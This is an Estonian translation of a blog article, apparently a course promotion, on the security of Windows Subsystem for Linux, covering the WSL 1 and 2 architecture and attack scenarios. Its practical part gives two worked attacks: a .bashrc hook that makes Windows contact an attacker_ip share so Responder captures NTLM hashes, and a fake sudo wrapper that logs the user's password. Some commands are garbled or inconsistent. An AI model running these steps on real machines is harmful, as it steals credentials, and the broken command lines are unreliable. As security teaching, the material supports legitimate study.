🥇WSL katsetused. Osa 1

Tere, Habr! Oktoobris käivitab OTUS uue kursuse voolu «Linuxi turvalisus». Kursuse käivitamise eel jagame teiega artiklit, mille on kirjutanud üks meie õpetajatest - Aleksandr Kolesnikov.

2016. aastal tutvustas Microsoft IT kogukonnale uut tehnoloogiat WSL (Windows Subsystem for Linux), mille eesmärgiks oli ühendada varem omavahel konkureerinud süsteemid, mis võitlesid populaarsuse nimel nii tavaliste kui ka edasijõudnud Windowsi ja Linuxi kasutajate seas. See tehnoloogia võimaldas kasutada Linuxi tööriistu Windowsi keskkonnas ilma Linuxi käivitamiseta, näiteks mitme käivituse (Multi-boot) abil. Habrist leiate palju artikleid, mis käsitlevad WSLi kasutamise eeliseid. Kuid kahjuks ei leidnud selle artikli koostamise ajal sellest resursist turvalisuse uuringute kohta teavet. Käesolev postitus on katse seda viga parandada. Artiklis käsitletakse WSL 1 ja 2 arhitektuuri eripärasid, tuuakse välja mitu näidet rünnakutest süsteemidele, mis kasutavad neid tehnoloogiaid. Artikkel on jagatud kaheks osaks. Esimeses osas esitatakse peamised teoreetilised rünnaku meetodid Linuxi ja Windowsi suunal. Teises artiklis käsitletakse katsealuse keskkonna seadistamist ja rünnakute rekonstrueerimist.

WSL 1: arhitektuuri eripära

WSL-i turvaprobleemidesse süvenemiseks on oluline määratleda peamised teenused, mis on seotud alamsüsteemi rakendamisega. WSLi üks peamisi kasutajaülesandeid on võimaldada Linuxi süsteemide töötamist Windowsi operatsioonisüsteemi terminali kaudu. Samuti oli pakutud ühilduvus nii loomulik, et Linuxi käivitatavad failid (ELF) võisid käivituda otse Windowsi süsteemis. Nende eesmärkide saavutamiseks loodi Windows 10-s spetsiaalne alamsüsteem, mis võimaldas Linuxi rakenduste käivitamist teatud süsteemikutsungite komplekti kaudu - seega tehti katse kaardistada Linuxi syscallide komplekt Windowsile. See viidi füüsiliselt ellu uute draiverite ja protsesside uue formaadi lisamise kaudu. Visuaalselt nägi arhitektuur välja selline:

Põhimõtteliselt oli Linuxi operatsioonisüsteemiga suhtlemine korraldatud mitmete tuumamoodulite ja spetsiaalse tüüpi protsesside — pico — kaudu. Ülespildil on näha, et Linuxi instantsis käivitatud protsess peab olema natiivne ja kasutama samu ressursse nagu tavalised Windowsi rakendused. Kuidas aga seda saavutada? Projekti Drawbridge käsitles Windowsi protsesside kontseptsioonide väljatöötamist, mis pakkusid kõiki operatsioonisüsteemi (sõltuvalt selle versionist) vajalikke komponente teise operatsioonisüsteemi rakenduse käivitamiseks.

Tuleb märkida, et pakutud abstraktsioon võimaldas mitte orienteeruda operatsioonisüsteemile (eriti Windowsile), kus oodatakse teise operatsioonisüsteemi protsessi käivitamist, ja pakkus universaalset lähenemist.

Seega võis igasugune rakendus pico-protsessi sees töötada ilma Windowsi tuumale mõtlemata:

Ühildumisprobleemid ja süsteemikõnesid tõlgendamise mured pidi lahendama spetsiaalsed teenusepakkujad;
Juurdepääsu piiramine pidi toimuma turvamonitori kaudu. Monitor asub tuumas ja seetõttu oli Windowsi jaoks vajalik uuendus uue draiveri näol, mis võiks toimida selliste protsesside teenusepakkujana. Pico-protsessi prototüüp on scheemaatiliselt esitatud allpool:

Kuna Linuxi failisüsteem kasutab suurustundlikke failinimesid ja katalooge, lisati Windowsile kaks tüüpi failisüsteeme, et töötada WSL-iga — VolFS ja DriveFS. VolFS on Linuxi failisüsteemi rakendamine, DriveFS on failisüsteem, mis töötab Windowsi reeglite alusel, kuid võimaldab valida failinimede suhtes suurustundlikkuse.

WSL 2

WSL 1 oli mitmeid piiranguid, mis takistasid selle kasutamist laiemate ülesannete lahendamiseks: näiteks puudus võimalus käivitada 32-bitiseid Linuxi rakendusi ning seade draivereid ei olnud võimalik kasutada. Seetõttu tuli 2020. aastal välja WSL 2, mis muutis allkäsitsuse loomise lähenemist. WSL 2 on optimeeritud virtuaalmasin, mis vastab WSL 1 ressursside tarbimise omadustele. Nüüd saab Windowsi kasutaja vastavalt lahendatavatele probleemidele valida vajaliku Linuxi allkäsitsemise versiooni. Võimalike haavatavuste leevendamiseks on WSL 2 ellu kutsutud Hyper-V baasil Windows 10-s. Sel viisil saab Windows isoleeritud keskkonnas käivitada Linuxi operatsioonisüsteemi kerneli. Oluline on meeles pidada, et WSL 1 versioon tutvustati beetafunktsioonina, mille eesmärk oli näidata Windowsi arengu suunda selles valdkonnas ja seetõttu oli üleminek Hyper-V-le vältimatu. Lõplik arhitektuur näeb välja selline:

Selles versioonis on Windowsi ja Linuxi süsteemide kernelitel oma ressursid ning ristumiskoht eksisteerib ainult failisüsteemis, kuigi seda ristumiskohta ei saa nimetada täiuslikuks. Failisüsteemidevaheline suhtlemine toimub kliendi-serveri läbipaistvuse kaudu, mis töötab protokolli 9P alusel.

Praegu pakub Microsoft võimalust vahetada WSL 1 ja WSL 2 vahel. Mõlemat versiooni on võimalik kasutada.

WSL turvalisus

Praegu on mitmeid uuringuid, mis kirjeldavad teatud lähenemisviise operatsioonisüsteemi seaduslike tööriistade kasutamiseks allkäsitsuste vahelise suhtlemise ründamiseks. Kasutame nende stsenaariume artikli kirjutamise ajal rünnakute asjakohasuse kontrollimiseks. Üldine rünnakute loetelu ja teostamise stsenaariumid:

1. Failisüsteemi rakendamine: juurdepääsuõigused, ühiste kaustade/andmevahetusmehhanismide olemasolu.

Uuringud viidi läbi juurdepääsuskeemide rikkumise osas Linux FS->Windows FS, Windows FS->Linux FS. Uuringud demonstreerisid võimalust muuta määratud faili sihtoperatsioonisüsteemis. Samuti viidi läbi katseid asendamiseks, kopeerimiseks ja failisüsteemide osade kustutamiseks.

Stsenaarium:

A. Rünnak Windowsi operatsioonisüsteemist — failide muutmine Linuxi operatsioonisüsteemi /etc kaustast.
B. Rünnak Linuxi operatsioonisüsteemist — failide muutmine kaustades: C:Windows, C:Program Files, C:Users

2. Võrgustiku stacki rakendamine.

Uuringud põhinesid rünnakute näidetel Linuxi operatsioonisüsteemist Windowsile. Kasutati võrgustiku stacki töö eripärasid, nimelt erinevate ressursside autentimisprotsesse.

Stsenaarium:

Juhtimine porti, mis on Windowsi süsteemis hõivatud.
Pordi avamine ilma vastava õigusteta.
Reverse shelli käitamine elf-faili kasutamisega Windowsi operatsioonisüsteemis.

3. Kuri tarkvara käitusprotsesside varjamine WSL-alamsüsteemi kaudu.

Uuringud põhinesid lihtsal faktil, et kaitsesüsteemid ei suuda sündmuste ülevõttu teises tuumas, mis töötab seaduslikult operatsioonisüsteemi pakkuja kaudu WSL 1 puhul. WSL 2 korral ei ole võimalik jälgida sündmusi, mis toimuvad eraldi tuumas kerge virtuaalmasina raames.

Stsenaarium:

1) Rakenduse käitamine kaugjuurdepääsuks süsteemi ja registreeritud sündmuste vaatamine.

WSL 1 eksperimendid: Windowsi (OS) hash'i ülevõtmine.

Lõfinally me jõudsime praktilise osa juurde. Esiteks tuleb seadistada testide keskkond. Kõik katsed viiakse läbi standil, millel on Windows 10 2004. WSL-i operatsioonisüsteemi pildiks valiti Ubuntu 18.04. Pilt valiti juhuslikult ja iga teine pilt töötab sama hästi. Standi seadistamiseks vajalikud käsud:

Eelnevalt tuleb käivitada powershell.exe administraatori õigustes.

WSL 1 jaoks tuleb täita käsud:

Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Lubage WSL funktsioon
Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Laadige Linuxi pilt Microsofti poest alla

Ubuntu.appx install —root #Installime pildi

Võib-olla tuleb seadistamisprotsessis klikkida ja luua uus kasutaja, kellel on vähem õigusi kui root. Meie katsetamiseks on selleks tavaline kasutaja sam.

Restart-Computer #Taaskäivitame

Pärast standi taaskäivitamist saab käivitada bash-i käsu. Kui kõik läks õigesti, näete Windowsi konsoolis umbes sellist väljundit:

Ründaja masinaks kasutame Kali Linuxi distributsiooni, kõik masinad peavad olema samas kohaliku võrgu sees.

Oletame, et meil on privileegideta juurdepääs WSL-ile Windowsi masinas. Proovime rünnata Linuxi operatsioonisüsteemi, käivitades käsu Linuxis. Rünnaku teostamiseks kasutame lihtsat automaatika tehnikat — lisame meie skripti täitmise keskkonnas Linuxis. Selleks peame muutma faili .bashrc.

WSL-i masinas esitame:

	1. bash
	2. Liigume kasutaja kodu katalooge: cd /home/sam/
	2. echo  " /home/sam/.attack.sh" >> .bashrc
	3. echo "icalcs.exe " \\attacker_ip\\shareName\" > /dev/null 2>&1" >> .attack.sh
	4. chmod u+x .attack.sh
	5. exit

Kali Linuxi masinas esitame:

1. Responder -I eth0 -rdvw

Windowsi masinas käivitame bash.

Ootame tulemust Kali Linuxi masinas:

Nii saime Windowsi kasutaja hash’id WSL-i kaudu, käivitades käsu Linuxi süsteemis.

WSL 1 katsetused: kasutaja parooli saamine (Linuxi OS)

Teeme veel ühe katse. Selle testimise käigus täiendame faili .bashrc mõne käsuga, et saada Linuxi operatsioonisüsteemi kasutaja parool.

Käivitame bash ja sisestame käsud:

1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] parool $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Vabandust, proovi uuesti."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt" >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit

Rünnaku edukaks lõpuleviimiseks peab kasutaja Sam kutsuma sudo Linuxi terminalis. Pärast seda on Linuxi operatsioonisüsteemi kasutaja parool failis pass.txt:

Rünnakute teostamine on toodud vaid teoreetiliseks tutvumiseks.